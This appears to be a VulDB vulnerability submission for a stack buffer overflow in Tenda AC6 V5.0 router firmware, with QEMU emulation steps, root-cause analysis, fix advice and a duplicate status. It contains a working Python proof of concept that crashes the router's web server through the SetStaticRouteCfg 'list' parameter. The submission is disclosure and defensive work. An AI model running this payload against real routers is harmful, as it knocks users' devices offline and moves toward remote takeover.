| Title | Tenda AC6 V03.03.20.11 Memory Corruption |
|---|
| Description | Basic Vendor & Product Info
Vendor: Tenda
Product: AC6
Hardware Version: V5.0
Firmware Version: V03.03.20.11
Class: Memory Corruption (Stack Buffer Overflow / Unbounded sscanf Parsing)
CVSS 3.1 Score: 8.2
CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Full Emulation Environment (Duplicated Complete Setup)
Official firmware download URL: https://www.tenda.com.cn/material/show/3242
Step 1 Install & Download QEMU ARM Binaries
bash
运行
sudo apt update && sudo apt install aria2
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress"
Downloaded file list:
debian_wheezy_armhf_standard.qcow2
initrd.img-3.2.0-4-vexpress
vmlinuz-3.2.0-4-vexpress
Step 2 Host TAP Device & IP Forwarding / Iptables Config
bash
运行
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 up
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED
sudo ifconfig tap0 192.168.100.1 netmask 255.255.0
Step 3 QEMU ARM Launch Command
bash
运行
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
VM login credentials: username=root, password=root
Step 4 VM Network & httpd Firmware Deployment
Network configuration inside VM
bash
运行
ifconfig eth0 192.168.100.2 netmask 255.255.0
route add default gw 192.168.100.1
Verify bidirectional ping between host and VM.
Package firmware root filesystem on host & launch HTTP server
bash
运行
tar -czvf squashfs-root.tar squashfs-root
python3 -m http.server
Fetch, extract firmware & start httpd inside chroot
bash
运行
wget http://192.168.100.1:8000/squashfs-root.tar
tar -xzvf squashfs-root.tar
ip link add br0 type bridge
ip link set br0 up
ip addr add 192.168.100.2/24 dev br0
chroot ./squashfs-root sh
cp -rf webroot_ro/* webroot/
./bin/httpd
Web admin panel accessible at http://192.168.100.2 after startup.
Vulnerability 4 Full Description
Attack Entry Point
Target URL: http://[target_ip]/goform/SetStaticRouteCfg
Controllable Parameter: POST form parameter list
Vulnerable Subroutine: sub_77EC8 (child function of fromSetRouteStatic)
Vulnerable Code Line:
c
运行
sscanf(v16, "%[^,],%[^,],%[^,],%s", v11, v10, v9, s1) == 4
Auth Requirement: Valid admin password cookie
Note: Authentication validation only takes effect on physical complete router firmware. Authentication check is bypassed in incomplete chroot emulation without background daemons.
Root Cause Analysis
The web CGI handler reads fully user-controlled input from POST parameter list into stack variable v16. The code uses unsafe sscanf format specifiers %[^,] and %s without any maximum character length limit to split comma-separated static route data into four independent stack buffers v11, v10, v9, s1.
%[^,] reads all consecutive non-comma characters with no upper bound
Any single comma-segment of the list payload can be arbitrarily long
Oversized input overflows the corresponding fixed-size stack buffer, corrupts stack local variables, base pointer and function return address
When the function returns, a segmentation fault (SIGSEGV) crashes the httpd web process, resulting in persistent remote denial of service. Precise payload construction enables remote code execution (RCE). Each of the four split segments (v11, v10, v9, s1) can be overflowed independently with crafted long payloads.
Proof of Concept (POC)
python
运行
import requests
from pwn import cyclic
url = "http://192.168.100.2/goform/SetStaticRouteCfg"
cookie = {"password": "VALID_SESSION_COOKIE"}
# Keep 4 comma-separated segments to satisfy sscanf match count == 4
payload = (
b"10.0.0.0,"
b"x.x.x.x,"
b"10.0.0.1,"
+ cyclic(1000)
)
data = {"list": payload}
try:
r = requests.post(
url,
cookies=cookie,
data=data,
timeout=3,
allow_redirects=False
)
print("status:", r.status_code)
print("body snippet:", r.text[:200])
except requests.RequestException as e:
print("httpd service crash detected:", e)
Reproduction Behavior
Short normal input payload: HTTP 200 OK response returns normal web page content.
1000-byte cyclic long payload: Request triggers ReadTimeout or ConnectionResetError.
QEMU serial console outputs Segmentation fault (core dumped) confirming httpd stack overflow crash.
Router watchdog automatically restarts httpd to restore web access temporarily.
Mitigation & Fix Recommendations
Append maximum length limits to all sscanf format specifiers (e.g. %127[^,]) to restrict input copy length.
Pre-check the string length of each comma-split segment before parsing into stack buffers.
Replace unsafe unbounded sscanf with manual bounded string splitting logic.
Implement global unified input length filter for all CGI POST parameters in httpd.
Duplicate Vulnerability Statement
Existing public CVE entries only cover Tenda AC6 V2.0 old firmware. This vulnerability exclusively affects Tenda AC6 V5.0 firmware V03.03.20.11. The binary program, function offsets, stack layout and CGI logic are completely independent; no matching vulnerability records exist on VulDB, NVD or CNVD. |
|---|
| User | hfddh666 (UID 99974) |
|---|
| Submission | 07/22/2026 13:59 (2 months ago) |
|---|
| Moderation | 09/06/2026 11:36 (2 months later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 195514 [Tenda AC6 15.03.05.09_multi setstaticroutecfg list stack-based overflow] |
|---|
| Points | 0 |
|---|